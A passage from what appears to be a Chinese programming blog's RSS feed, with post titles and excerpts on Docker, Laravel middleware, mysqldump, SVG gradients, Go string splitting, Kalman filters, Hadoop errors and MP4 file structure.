      <description>本笔记参考 https://docs.docker.com/get-started/part5/&#xA;ContainersServicesSwarmsStacks 什么是stack 在docker中，stack指的是一组相互关联的服务，它们可以共享依赖关系，并且可以一起协调和缩放。一个stack 能够定义和协调整个应用程序的功能（尽管非常复杂的应用程序可能需要使用多个stack）&#xA;添加一个新服务 在之前的练习中我们已经用制作的image部署了一个web service，现在我们修改 docker-compose.yml， 添加一个叫做visualizer的service 到stack。&#xA;编辑 docker-compose.yml version: &#34;3&#34; services: web: #service called web image: misterchi/repositorytest:hello #Pull the image deploy: replicas: 5 #five instances resources: limits: cpus: &#34;0.1&#34; #one instance at most 10% of the CPU memory: 50M #one instance at most 50M memory restart_policy: condition: on-failure #Immediately restart containers if one fails ports: - &#34;80:80&#34; #map host port 80 with service port 80 networks: - webnet #share 80 via a load-balanced network called webnet visualizer: image: dockersamples/visualizer:stable ports: - &#34;</description>
    </item>
    <item>
      <title>Laravel5.5源码详解 -- 中间件MiddleWare分析</title>
      <link>https://bchobby.github.io/posts/f88729858c0a07dffdaddeb133dcb317/</link>
      <pubDate>Tue, 26 Dec 2017 16:15:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f88729858c0a07dffdaddeb133dcb317/</guid>
      <description>Laravel5.5源码详解 – 中间件MiddleWare分析 启动流程 首先，我们从/public/index.php开始，程序正是从这里启动的。Middleware正是在这里启动，如下&#xA;$response = $kernel-&amp;gt;handle( $request = Illuminate\Http\Request::capture() ); 注意到这个Kernel，本质上是/app/Http/Kernel.php，其handle函数在其父类Illuminate\Foundation\Http\Kernel中，&#xA;public function handle($request) { try { $request-&amp;gt;enableHttpMethodParameterOverride(); $response = $this-&amp;gt;sendRequestThroughRouter($request); } catch (Exception $e) { $this-&amp;gt;reportException($e); $response = $this-&amp;gt;renderException($request, $e); } catch (Throwable $e) { $this-&amp;gt;reportException($e = new FatalThrowableError($e)); $response = $this-&amp;gt;renderException($request, $e); } $this-&amp;gt;app[&#39;events&#39;]-&amp;gt;dispatch( new Events\RequestHandled($request, $response) ); return $response; } protected function sendRequestThroughRouter($request) { $this-&amp;gt;app-&amp;gt;instance(&#39;request&#39;, $request); Facade::clearResolvedInstance(&#39;request&#39;); $this-&amp;gt;bootstrap(); return (new Pipeline($this-&amp;gt;app)) -&amp;gt;send($request) -&amp;gt;through($this-&amp;gt;app-&amp;gt;shouldSkipMiddleware() ? [] : $this-&amp;gt;middleware) -&amp;gt;then($this-&amp;gt;dispatchToRouter()); } 这里有必要解释最后这几句：</description>
    </item>
    <item>
      <title>VS2017  C&#43;&#43; MFC CString怎么转换成int,double</title>
      <link>https://bchobby.github.io/posts/ca8374885911508eadd8e34ee83aa758/</link>
      <pubDate>Tue, 26 Dec 2017 11:13:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca8374885911508eadd8e34ee83aa758/</guid>
      <description>1、首先要确定你的工程字符集用的是多字节而不是unicode才能用下面的方法, 因为vs2017默认使用的是unicode编码. 修改方式为: 在解决方案窗口右键工程名–&amp;gt;属性-&amp;gt;General项(我用的是英文的)–&amp;gt;字符集, 选择多字节那个就行了&#xA;2、例程： CString str; 转成int: ;int a = atoi(str.GetBuffer()); 转成double: double b = atof(str.GetBuffer()); // 如果坚持要用unicode的话, 就用下面两个函数: 转成int: ;int a = _wtoi(str.GetBuffer()); 转成double: double b = _wtof(str.GetBuffer());</description>
    </item>
    <item>
      <title>关于 Error: No PostCSS Config found in 的错误</title>
      <link>https://bchobby.github.io/posts/f13c9b99a790f4e9061d8192123c7568/</link>
      <pubDate>Tue, 26 Dec 2017 08:15:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f13c9b99a790f4e9061d8192123c7568/</guid>
      <description>问题描述： 项目在本地运行不报错，上传到 GitHub 之后，再 clone 到本地，&#xA;npm install 安装完成之后再执行&#xA;npm run dev 这时报错 Error: No PostCSS Config found in... 本以为是 GitHub 上传的问题，后开又试了两回，发现问题依然存在，于是就开始网上寻找办法。&#xA;解决方案： 在项目根目录新建postcss.config.js文件，并对postcss进行配置：&#xA;module.exports = { plugins: { &#39;autoprefixer&#39;: {browsers: &#39;last 5 version&#39;} } } 好了，大功告成，试一试：&#xA;npm run dev 完美运行。&#xA;依然存在疑问： 项目在本地运行时本来不报错的，但是为什么上传到 GitHub 之后，再 clone 下来，再运行就得单独写一个 postcss.config.js 的文件并配置一下呢？</description>
    </item>
    <item>
      <title>_u32是干嘛的</title>
      <link>https://bchobby.github.io/posts/1b5465e8a8000d1cdd180085cd2eb842/</link>
      <pubDate>Mon, 25 Dec 2017 18:22:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b5465e8a8000d1cdd180085cd2eb842/</guid>
      <description>从知乎上看过来的，自己也总结一下。&#xA;1、在驱动开发中，建议使用_u32或者u_int32_t代替unsigned int等默认的数据类型。目的在于：清晰的说明这个变量占用多大内存，即32。&#xA;原因：不能确定你的代码以后是否只在一个平台上运行，有可能会移植到非Linux平台，不同的CPU平台，比如64位环境、非x86环境。而C语言中并未明确规定int占多少字节，所以_u32就是告诉别人，这变量占4字节。&#xA;2、这是一种良好的编程风格。&#xA;typedef unsigned int _u32 其它类推</description>
    </item>
    <item>
      <title>将mysql中的数据导为.sql</title>
      <link>https://bchobby.github.io/posts/ecacfe6902cfd1314e486cd2aa93f578/</link>
      <pubDate>Mon, 25 Dec 2017 15:21:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecacfe6902cfd1314e486cd2aa93f578/</guid>
      <description>运用mysqldump 1.导出整个数据库(包括数据)&#xA;mysqldump -u username -p dbname &amp;gt; dbname.sql&#xA;2.导出数据库（只有建表语句，不含数据）&#xA;mysqldump -u username -p -d dbname &amp;gt; dbname.sql&#xA;3.导出数据库中的某张表（包括数据）&#xA;mysqldump -u username -p dbname tablename &amp;gt; tablename.sql&#xA;4.导出表结构（不包括表结构）&#xA;mysqldump -u username -p -d dbname tablename &amp;gt; tablename.sql</description>
    </item>
    <item>
      <title>SVG基础十一：放射性渐变</title>
      <link>https://bchobby.github.io/posts/97663176e34842399d992d92857d5423/</link>
      <pubDate>Mon, 25 Dec 2017 10:29:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97663176e34842399d992d92857d5423/</guid>
      <description>SVG 渐变必须在 &amp;lt;defs&amp;gt; 标签中进行定义。&#xA;放射性渐变 &amp;lt;radialGradient&amp;gt; 用来定义放射性渐变。&#xA;&amp;lt;radialGradient&amp;gt; 标签必须嵌套在 &amp;lt;defs&amp;gt; 中。&amp;lt;defs&amp;gt; 标签是 definitions 的缩写，它允许对诸如渐变等特殊元素进行定义。&#xA;请把下面的代码拷贝到记事本，然后把文件保存为 &#34;radial1.svg&#34;。把此文件放入您的 web 目录：&#xA;&amp;lt;?xml version=&#34;1.0&#34; standalone=&#34;no&#34;?&amp;gt; &amp;lt;!DOCTYPE svg PUBLIC &#34;-//W3C//DTD SVG 1.1//EN&#34; &#34;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd&#34;&amp;gt; &amp;lt;svg width=&#34;100%&#34; height=&#34;100%&#34; version=&#34;1.1&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&amp;gt; &amp;lt;defs&amp;gt; &amp;lt;radialGradient id=&#34;grey_blue&#34; cx=&#34;50%&#34; cy=&#34;50%&#34; r=&#34;50%&#34; fx=&#34;50%&#34; fy=&#34;50%&#34;&amp;gt; &amp;lt;stop offset=&#34;0%&#34; style=&#34;stop-color:rgb(200,200,200); stop-opacity:0&#34;/&amp;gt; &amp;lt;stop offset=&#34;100%&#34; style=&#34;stop-color:rgb(0,0,255); stop-opacity:1&#34;/&amp;gt; &amp;lt;/radialGradient&amp;gt; &amp;lt;/defs&amp;gt; &amp;lt;ellipse cx=&#34;230&#34; cy=&#34;200&#34; rx=&#34;110&#34; ry=&#34;100&#34; style=&#34;fill:url(#grey_blue)&#34;/&amp;gt; &amp;lt;/svg&amp;gt; 代码解释： &amp;lt;radialGradient&amp;gt; 标签的 id 属性可为渐变定义一个唯一的名称，fill:url(#grey_blue) 属性把 ellipse 元素链接到此渐变，cx、cy 和 r 属性定义外圈，而 fx 和 fy 定义内圈 渐变的颜色范围可由两种或多种颜色组成。每种颜色通过一个 &amp;lt;stop&amp;gt; 标签来规定。offset 属性用来定义渐变的开始和结束位置。 查看例子</description>
    </item>
    <item>
      <title>SVG基础十：线性渐变</title>
      <link>https://bchobby.github.io/posts/6353b128226aff10fe97699bca8eecbd/</link>
      <pubDate>Mon, 25 Dec 2017 10:23:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6353b128226aff10fe97699bca8eecbd/</guid>
      <description>SVG 渐变必须在 &amp;lt;defs&amp;gt; 标签中进行定义。&#xA;SVG 渐变 渐变是一种从一种颜色到另一种颜色的平滑过渡。另外，可以把多个颜色的过渡应用到同一个元素上。&#xA;在 SVG 中，有两种主要的渐变类型：&#xA;线性渐变放射性渐变 线性渐变 &amp;lt;linearGradient&amp;gt; 可用来定义 SVG 的线性渐变。&#xA;&amp;lt;linearGradient&amp;gt; 标签必须嵌套在 &amp;lt;defs&amp;gt; 的内部。&amp;lt;defs&amp;gt; 标签是 definitions 的缩写，它可对诸如渐变之类的特殊元素进行定义。&#xA;线性渐变可被定义为水平、垂直或角形的渐变：&#xA;当 y1 和 y2 相等，而 x1 和 x2 不同时，可创建水平渐变当 x1 和 x2 相等，而 y1 和 y2 不同时，可创建垂直渐变当 x1 和 x2 不同，且 y1 和 y2 不同时，可创建角形渐变 请把下面的代码拷贝到记事本，然后把文件保存为 &#34;linear1.svg&#34;。把此文件放入您的 web 目录：&#xA;&amp;lt;?xml version=&#34;1.0&#34; standalone=&#34;no&#34;?&amp;gt; &amp;lt;!DOCTYPE svg PUBLIC &#34;-//W3C//DTD SVG 1.1//EN&#34; &#34;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd&#34;&amp;gt; &amp;lt;svg width=&#34;100%&#34; height=&#34;100%&#34; version=&#34;1.1&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&amp;gt; &amp;lt;defs&amp;gt; &amp;lt;linearGradient id=&#34;</description>
    </item>
    <item>
      <title>Dev ButtonEdit控件</title>
      <link>https://bchobby.github.io/posts/a639538ccc7eaef073e4d9e42c57d4c6/</link>
      <pubDate>Sat, 23 Dec 2017 19:37:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a639538ccc7eaef073e4d9e42c57d4c6/</guid>
      <description>这个是buttonEdit控件。&#xA;一般用它选路径。&#xA;Text属性：用于显示文本。（DEV所有控件通用的属性）&#xA;ButtonClick事件： 是点击三个点。</description>
    </item>
    <item>
      <title>SVG基础二：SVG编写</title>
      <link>https://bchobby.github.io/posts/a17427b8636817ac919f98e54eb8e463/</link>
      <pubDate>Fri, 22 Dec 2017 11:20:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a17427b8636817ac919f98e54eb8e463/</guid>
      <description>SVG 使用 XML 编写。&#xA;SVG 实例 下面的例子是一个简单的 SVG 文件的例子。SVG 文件必须使用 .svg 后缀来保存：&#xA;&amp;lt;?xml version=&#34;1.0&#34; standalone=&#34;no&#34;?&amp;gt; &amp;lt;!DOCTYPE svg PUBLIC &#34;-//W3C//DTD SVG 1.1//EN&#34; &#34;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd&#34;&amp;gt; &amp;lt;svg width=&#34;100%&#34; height=&#34;100%&#34; version=&#34;1.1&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&amp;gt; &amp;lt;circle cx=&#34;100&#34; cy=&#34;50&#34; r=&#34;40&#34; stroke=&#34;black&#34; stroke-width=&#34;2&#34; fill=&#34;red&#34;/&amp;gt; &amp;lt;/svg&amp;gt; 代码解释： 第一行包含了 XML 声明。请注意 standalone 属性！该属性规定此 SVG 文件是否是“独立的”，或含有对外部文件的引用。&#xA;standalone=&#34;no&#34; 意味着 SVG 文档会引用一个外部文件 - 在这里，是 DTD 文件。&#xA;第二和第三行引用了这个外部的 SVG DTD。该 DTD 位于 “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd”。该 DTD 位于 W3C，含有所有允许的 SVG 元素。&#xA;SVG 代码以 &amp;lt;svg&amp;gt; 元素开始，包括开启标签 &amp;lt;svg&amp;gt; 和关闭标签 &amp;lt;/svg&amp;gt; 。这是根元素。width 和 height 属性可设置此 SVG 文档的宽度和高度。version 属性可定义所使用的 SVG 版本，xmlns 属性可定义 SVG 命名空间。</description>
    </item>
    <item>
      <title>Linux下的 command not found错误(解决方法)</title>
      <link>https://bchobby.github.io/posts/fc3c2048f8190e4f8b0f8d314db2de96/</link>
      <pubDate>Fri, 22 Dec 2017 11:05:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc3c2048f8190e4f8b0f8d314db2de96/</guid>
      <description>当我们在 Linux下执行一个命令时，报 -bash: XXXX: command not found，这和Windows是相同的道理，都是环境变量惹的祸，&#xA;就是说你的 命令的 执行文件不在 /usr/bin 或者 /etc/init.d 中，他就找不到 执行该命令的 文件来执行.&#xA;思路是将 该应用的 bin 目录 放入到 profile 文件中就OK了&#xA;1、find / -name profile #找到该文件（这个文件相当于 你在Windows 中加入环境变量那块）,一般该文件在 /etc/profile 这里&#xA;2、vim profile #编辑该文件&#xA;3、export PATH=&#34;$PATH:/phpstudy/mysql/bin&#34; #在该文件中加入 command not found 的应用 bin 目录,这里我是将 mysql 的 bin 放到这里，因为 我是因为 mysqld / mysqldump / mysqladmin 命令用不了&#xA;4、source /etc/profile // 更新配置(不用重启系统)&#xA;之后你在执行 就 OK啦！如果有什么问题，留言告诉我，我会尽快回复&#xA;【end】</description>
    </item>
    <item>
      <title>CSDN现在绑定手机还送下载积分吗</title>
      <link>https://bchobby.github.io/posts/bfbf2a4309cd1e9d1b172d929f900c0a/</link>
      <pubDate>Thu, 21 Dec 2017 15:54:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfbf2a4309cd1e9d1b172d929f900c0a/</guid>
      <description> 收到短信,说绑定手机送50积分,但是并没有到账. </description>
    </item>
    <item>
      <title>基于神经网络的2D摄像头的手势识别系统实现（一）</title>
      <link>https://bchobby.github.io/posts/f2be84c4209431bf211728a2ff2ec069/</link>
      <pubDate>Thu, 21 Dec 2017 00:09:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2be84c4209431bf211728a2ff2ec069/</guid>
      <description>一、手势识别的分类 若按照摄像头的种类（2D摄像头、深度摄像头）来分，可分为两类，1）基于2D摄像头的二维手势识别 和 2）基于3D摄像头（如微软的kinnect）三维手势识别。早期的手势识别识别是基于二维彩色图像的识别技术，所谓的二维彩色图像是指通过普通摄像头拍出场景后，得到二维的静态图像，然后再通过计算机图形算法进行图像中内容的识别。二维的手型识别的只能识别出几个静态的手势动作，而且这些动作必须要提前进行预设好。相比较二维手势识别，三维手势识别增加了一个Z轴的信息，它可以识别各种手型、手势和动作。三维手势识别也是现在手势识别发展的主要方向。不过这种包含一定深度信息的手势识别，需要特别的硬件来实现。常见的有通过传感器和光学摄像头来完成。　手势识别中最关键的包括对手势动作的跟踪以及后续的计算机数据处理。关于手势动作捕捉主要是通过光学和传感器两种方式来实现。手势识别推测的算法，包括模板匹配技术（二维手势识别技术使用的）、通过统计样本特征以及深度学习神经网络技术。本文着重于2D摄像头的手势识别。&#xA;二、基于2D摄像头的手势识别 1. 2D摄像头的手势识别分类 2D摄像头的手势识别分类又分为：1）静态手势识别（手型识别）也称静态二维手势识别，识别的是手势中最简单的一类。只能识别出几个静态的手势动作，比如握拳或者五指张开，这种技术只能识别手势的“状态”，而不能感知手势的“持续变化”。说到底是一种模式匹配技术，通过计算机视觉算法分析图像，和预设的图像模式进行比对，从而理解这种手势的含义。因此，二维手型识别技术只可以识别预设好的状态，拓展性差，控制感很弱，用户只能实现最基础的人机交互功能。其代表公司是被Google收购的Flutter。使用他家的软件之后，用户可以用几个手型来控制播放器。2）动态手势识别，仍不含深度信息，停留在二维的层面上。这种技术比起二维手型识别来说稍复杂一些，不仅可以识别手型，还可以识别一些简单的二维手势动作，比如对着摄像头挥挥手。二维手势识别拥有了动态的特征，可以追踪手势的运动，进而识别将手势和手部运动结合在一起的复杂动作。这种技术虽然在硬件要求上和二维手型识别并无区别，但是得益于更加先进的计算机视觉算法，可以获得更加丰富的人机交互内容。在使用体验上也提高了一个档次，从纯粹的状态控制，变成了比较丰富的平面控制。其代表公司是来自以色列的PointGrab，EyeSight和ExtremeReality。&#xA;2. 2D摄像头的手势识别的原理 手势有三个主要特征：手型，方向，运动轨迹，一个基于视觉手势识别系统的构成应包括：图像的采集，预处理，特征提取和选择，分类器的设计，以及手势识别。其流程大致如下： 其中有三个步骤是识别系统的关键，分别是预处理时手势的分割，特征提取和选择，手势跟踪，以及手势识别算法。不管是手势检测，或者手势跟踪，识别，特征提取和选择是关键:手势本身具有丰富的形变，运动以及纹理特征，选取合理的特征对于手势的识别至关重要。目前 常用的手势特征有:轮廓、边缘、图像矩、图像特征向量以及区域直方图特征等等。其中，手势检测（手势分割），主要受复杂背景，遮挡，直接光源的亮度变化，外部反射等，常见手部检测特征选取有基于肤色，基于表观，基于模型三种手部检测。手势跟踪，主要受快速运动，双手遮挡，非刚体，非线性，非高斯，多模态。通俗的讲，就是 手势非刚体运动，受到缩放，形变，缺少，模糊，旋转，亮度，视角等因素影响，建议使用基于肤色的SIFT+肤色（ROI）+HOG,粒子滤波，MeanShift,基于Sift特征，基于EKF,基于SVM，基于模板匹配等。手势识别，受尺度，角度，光照，同一手势每次演示的差异。目前基于2D视觉的静态手势识别技术主要有三大类，第一类为模板匹配技术，这是一种最简单的识别技术；第二类为统计分析技术，这是一种通过统计样本特征向量来确定分类器的基于概率统计理论的分类方法；第三类为神经网络技术，这种技术具有自组织和自学习能力，具有分布性特点，能有效的抗噪声和处理不完整模式以及具有模式推广能力。基于2D视觉的动态手势识别技术，主要有基于神经网络，基于HMMs,CRFs等。&#xA;3.基于神经网络2D摄像头静态手势识别实现 本文主要实现基于2D摄像头的静态手势识别系统，由于是静态所以不用考虑手势追踪，重点关注手势分割、手势识别两部分。其中手势分割采用局部自适应阈值的图像二值化和高斯肤色模型算法提取手掌轮廓；手势识别采用CNN网络进行分类。 3.1 手势分割算法实现 局部自适应阈值的图像二值化&#xA;def binaryMask(self, frame, x0, y0, width, height): # print(&#39;use binaryMask model ...&#39;) minValue = 70 # 创建矩形框 cv2.rectangle(frame, (x0, y0), (x0 + width, y0 + height), (0, 255, 0), 1) roi = frame[y0:y0 + height, x0:x0 + width] # 获取灰度图像 gray = cv2.cvtColor(roi, cv2.COLOR_BGR2GRAY) # 高斯模糊:高斯滤波器中像素的权重与其距中心像素的距离成比例 blur = cv2.GaussianBlur(gray, (5, 5), 2) # 图像的二值化提取目标,动态自适应的调整属于自己像素点的阈值，而不是整幅图像都用一个阈值 th3 = cv2.</description>
    </item>
    <item>
      <title>wxWidgets学习 - 双缓冲技术解决屏幕闪烁问题</title>
      <link>https://bchobby.github.io/posts/6ecc01d2899ac99fae303cfd620dd8e8/</link>
      <pubDate>Wed, 20 Dec 2017 16:19:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ecc01d2899ac99fae303cfd620dd8e8/</guid>
      <description>什么是双缓冲？实例代码运行效果 有经验的开发者应该知道，当我们频繁直接在窗口绘图时，会出现图像闪烁的现象，因此需要利用双缓存技术来绘图。&#xA;什么是双缓冲？ 所谓双缓冲即在内存中创建一个与屏幕绘图区域一致的对象，先将图形绘制到内存中的这个对象上，再一次性将这个对象上的图形拷贝到屏幕上，这样能大大加快绘图的速度。&#xA;具体在wxWidgets中的就是建立一个wxMemoryDC，在wxMemoryDC中绘图完成后再将数据复制到wxPaintDC或者wxClientDC。&#xA;实例代码 说明：OnPaint已经绑定到窗口Paint事件&#xA;void wxTestDialog::OnPaint(wxPaintEvent&amp;amp; event) { /* wxPaintDC */ wxPaintDC dc(this); /* 准备wxMemoryDC */ wxMemoryDC memDC; wxRect rect = this-&amp;gt;GetRect(); wxBitmap bitmap(rect.GetSize()); memDC.SelectObject(bitmap); /* 开始绘图 */ memDC.SetBackground(*wxRED_BRUSH); memDC.Clear(); double r = 5; wxCoord x, y, lstX, lstY; memDC.SetPen(*wxWHITE_PEN); for (int a = 0; a &amp;lt;= 720; ++ a) { double b = a * 3.1415 / 180; x = cos(b) * r; y = sin(b) * r; if(a !</description>
    </item>
    <item>
      <title>golang 使用 strings.Split 切割的注意</title>
      <link>https://bchobby.github.io/posts/1f108f51ee000958981501d8affddaae/</link>
      <pubDate>Wed, 20 Dec 2017 11:44:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f108f51ee000958981501d8affddaae/</guid>
      <description>s := strings.Split(&#34;&#34;, &#34;&#34;) fmt.Println(s, len(s)) s = strings.Split(&#34;abc,abc&#34;, &#34;&#34;) fmt.Println(s, len(s)) s = strings.Split(&#34;&#34;, &#34;,&#34;) fmt.Println(s, len(s)) s = strings.Split(&#34;abc,abc&#34;, &#34;,&#34;) fmt.Println(s, len(s)) s = strings.Split(&#34;abc,abc&#34;, &#34;|&#34;) fmt.Println(s, len(s)) fmt.Println(len(&#34;&#34;)) fmt.Println(len([]string{&#34;&#34;})) str := &#34;&#34; fmt.Println(str[0]) 运行结果:&#xA;[] 0 //返回空数组 [a b c , a b c] 7 //返回7个数组元素 [] 1 //返回一个包含空字符元素的数组, 数组长度是1 [abc abc] 2 [abc,abc] 1 0 1 panic: runtime error: index out of range 本文转载自开源中国文章：golang 使用 strings.</description>
    </item>
    <item>
      <title>卡尔曼滤波原理快速理解</title>
      <link>https://bchobby.github.io/posts/fda9908d612649fc7cd78d504d7bc713/</link>
      <pubDate>Tue, 19 Dec 2017 21:02:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fda9908d612649fc7cd78d504d7bc713/</guid>
      <description>在看本文章之前请先保证自己明白什么是协方差，它有什么含义，什么叫最小均方误差估计，什么是多元高斯分布，以及什么是最大似然估计。&#xA;引言 1960年，卡尔曼发表了他著名的用递归方法解决离散数据线性滤波问题的论文。从那以后，得益于数字计算技术的进步，卡尔曼滤波器已成为推广研究和应用的主题，尤其是在自主或协助导航领域。 卡尔曼滤波器由一系列递归数学公式描述。它们提供了一种高效可计算的方法来估计过程的状态，并使估计均方误差最小。卡尔曼滤波器应用广泛且功能强大：它可以估计信号的过去和当前状态，甚至能估计将来的状态，即使并不知道模型的确切性质。 本质上来讲，滤波就是一个信号处理与变换（去除或减弱不想要的成分，增强所需成分）的过程，这个过程既可以通过硬件来实现，也可以通过软件来实现。 卡尔曼滤波属于一种软件滤波方法，其基本思想是：以最小均方误差为最佳估计准则，采用信号与噪声的状态空间模型，利用前一时刻的估计值和当前时刻的观测值来更新对状态变量的估计，求出当前时刻的估计值，算法根据建立的系统方程和观测方程对需要处理的信号做出满足最小均方误差的估计。&#xA;1 离散线性卡尔曼滤波&#xA;最初的卡尔曼滤波算法被称为基本卡尔曼滤波算法，适用于解决随机线性离散系统的状态或参数估计问题。 1.1被估计的过程信号 卡尔曼滤波器用于估计离散时间过程的状态变量x∈R^n。这个离散时间过程由以下离散随机差分方程描述: (1.1) 定义观测变量z∈R^m，得到量测方程: (1.2) 随机信号w_k和v_k分别表示过程激励噪声和观测噪声。假设它们为相互独立，正态分布的白色噪声（服从如下多元高斯分布，要问为什么服从高斯分布请把文章看完）: p(w)~N(0,Q) (1.3) p(v) ∼ N(0,R) (1.4) 实际系统中， 过程激励噪声协方差矩阵Q和观测噪声协方差矩阵R可能会随每次迭代计算而变化。但在这儿我们假设它们是常数。 当控制函数或过程激励噪声为零时，差分方程1.1中的n × n阶增益矩阵A将上一时刻k-1的状态线性映射到当前时刻k的状态。实际中A可能随时间变化，但在这儿假设为常数。n × l 阶矩阵 B 代表可选的控制输入u∈R^l的增益。量测方程1.2中的m × n阶矩阵 H表示状态变量对测量变量的增益。实际中H可能随时间变化，但在这儿假设为常数。&#xA;1.2滤波器的计算原型 定义 （−代表先验，ˆ代表估计）为在已知第k步以前状态情况下第k步的先验状态估计。定义为已知测量变量时第k步的后验状态估计。由此定义先验估计误差和后验 估计误差: 先验估计误差的协方差为: (1.5) 后验估计误差的协方差为: (1.6) 式1.7构造了卡尔曼滤波器的表达式:先验估计和加权的测量变量及其预测之差的线性组合构成了后验状态估计。 (1.7) 式1.7中测量变量及其预测之差被称为测量过程的革新或残余 。残余反映了预测值和实际值之间的不一致程度。残余为零表明二者完全吻合。 式1.7中n × m阶矩阵K叫做残余的增益或混合因数，作用是使1.6式中的后验估计误差协方差最小。可以通过以下步骤计算K:首先将1.7式代入的定义式，再将代入1.6式中，求得期望后，将1.6式中的对K求导。并使一阶导数为零从而解得K值。K的一种表示形式为: (1.8)（具体推导见文章最后附录！！） 由1.8式可知，观测噪声协方差 R 越小，残余的增益越大 K 越大。特别地， R 趋向于零时，有: 另一方面， 先验估计误差协方差越小，残余的增益 K 越小。特别地，趋向于零时，有: 增益 K 的另一种解释 （这种解释比较好理解，在估计值与测量值之间权衡，选择更相信哪个）是随着测量噪声协方差 R 趋于零，测量变量的权重越来越大，而的预测的权重越来越小。另一方面，随着先验估计误差协方差趋于零，测量变量的权重越来越小，而的预测的权重越来越大。&#xA;1.3滤波器的概率原型解释 1.7式的解释来源于贝叶斯规则:的更新取决于在已知先前的测量变量的情况下的先验估计的概率分布。卡尔曼滤波器表达式中包含了状态分布的前二阶矩。</description>
    </item>
    <item>
      <title>Hadoop多次格式化出现17/12/19 00:19:51 WARN hdfs.DataStreamer: DataStreamer Excep</title>
      <link>https://bchobby.github.io/posts/af2f2b5fbb23d7d641cbf206c98b542f/</link>
      <pubDate>Tue, 19 Dec 2017 13:29:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af2f2b5fbb23d7d641cbf206c98b542f/</guid>
      <description>####在进行Hadoop伪分布式安装的时候我格式化一次，后来又修改了core-site.xml，又进行了一次格式化，然后使用MapReduce 进行测试计算的时候抛出下面的异常：&#xA;[hadoop@zydatahadoop001 hadoop]$ bin/hadoop jar ./share/hadoop/mapreduce/hadoop-mapreduce-examples-2.8.1.jar pi 5 10 Number of Maps = 5 Samples per Map = 10 17/12/19 00:19:51 WARN hdfs.DataStreamer: DataStreamer Exception org.apache.hadoop.ipc.RemoteException(java.io.IOException): File /user/hadoop/QuasiMonteCarlo_1513613989668_1586732403/in/part0 could only be replicated to 0 nodes instead of minReplication (=1). There are 0 datanode(s) running and no node(s) are excluded in this operation. at org.apache.hadoop.hdfs.server.blockmanagement.BlockManager.chooseTarget4NewBlock(BlockManager.java:1738) at org.apache.hadoop.hdfs.server.namenode.FSDirWriteFileOp.chooseTargetForNewBlock(FSDirWriteFileOp.java:265) at org.apache.hadoop.hdfs.server.namenode.FSNamesystem.getAdditionalBlock(FSNamesystem.java:2496) at org.apache.hadoop.hdfs.server.namenode.NameNodeRpcServer.addBlock(NameNodeRpcServer.java:828) at org.apache.hadoop.hdfs.protocolPB.ClientNamenodeProtocolServerSideTranslatorPB.addBlock(ClientNamenodeProtocolServerSideTranslatorPB.java:506) at org.apache.hadoop.hdfs.protocol.proto.ClientNamenodeProtocolProtos$ClientNamenodeProtocol$2.callBlockingMethod(ClientNamenodeProtocolProtos.java) at org.apache.hadoop.ipc.ProtobufRpcEngine$Server$ProtoBufRpcInvoker.call(ProtobufRpcEngine.java:447) at org.apache.hadoop.ipc.RPC$Server.call(RPC.java:989) at org.</description>
    </item>
    <item>
      <title>在线短视频秒播优化之视频文件格式之MP4文件Moov box的位置</title>
      <link>https://bchobby.github.io/posts/4fc25beaccf8b135adb9d54010e003ec/</link>
      <pubDate>Mon, 18 Dec 2017 13:31:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fc25beaccf8b135adb9d54010e003ec/</guid>
      <description>之前我们介绍了在线短视频秒播优化的方方面面，从服务器，cdn部署接入，数据连接/获取，客户端缓存，出帧策略，到视频文件I帧位置等。&#xA;今天从视频文件格式的另外一个角度介绍，MP4文件的box排列顺序是如何影响，在线短视频的播放以及秒播优化的。&#xA;MP4文件中的所有数据都装在box中 (iso-14496-12/14)&#xA;(QuickTime中为atom)即mp4是由若干个box组成的&#xA;先简单介绍几个重要的box，以便诸位在后续学习时心中有数：&#xA;1、 ftyp box，在文件的开始位置，描述的文件的版本、兼容协议等；&#xA;2、 moov box，这个box中不包含具体媒体数据，但包含本文件中所有媒体数据的宏观描述信息，moov box下有mvhd和trak box。&#xA;mvhd中记录了创建时间、修改时间、时间度量标尺、可播放时长等信息。 trak中的一系列子box描述了每个媒体轨道的具体信息。 3、 moof box，这个box是视频分片的描述信息。并不是MP4文件必须的部分，但在我们常见的可在线播放的MP4格式文件中（例如Silverlight Smooth Streaming中的ismv文件）确是重中之重。 4、 mdat box，实际媒体数据。我们最终解码播放的数据都在这里面。 5、 mfra box，一般在文件末尾，媒体的索引文件，可通过查询直接定位所需时间点的媒体数据。 MP4文件的生成与解析，播放 两个重要的box,moov and mdat 1.生成：先写入mdat后写入moov，因此绝大多数工具都会把moov数据放到mdat后边，比如android的mp4writer，ffmpeg等工具 2.解析：解析播放的时候，先读取moov，才能解析mdat 播放影响 1.本地播放，没有影响，播放软件可以先seek到末尾，读取moov 2.在线播放 (1).需要http服务器支持seek (2).服务器不支持seek，是个非常不友好的方案，要先把数据下载完成才能播放(无论下载到哪里，新服务器，本地内存或存储) (3).(1)和(2)多多少少会引入延时，尤其(2)，影响秒开 市面上短视频mp4 box排列 抖音，火山等小视频moov排在前边，不用seek； 快手，360等moov排在后边需要seek； 可以看出前者小视频在这方面更专业。 在线短视频MP4 moov box排在后边的解决方案 1.修改文件把moov 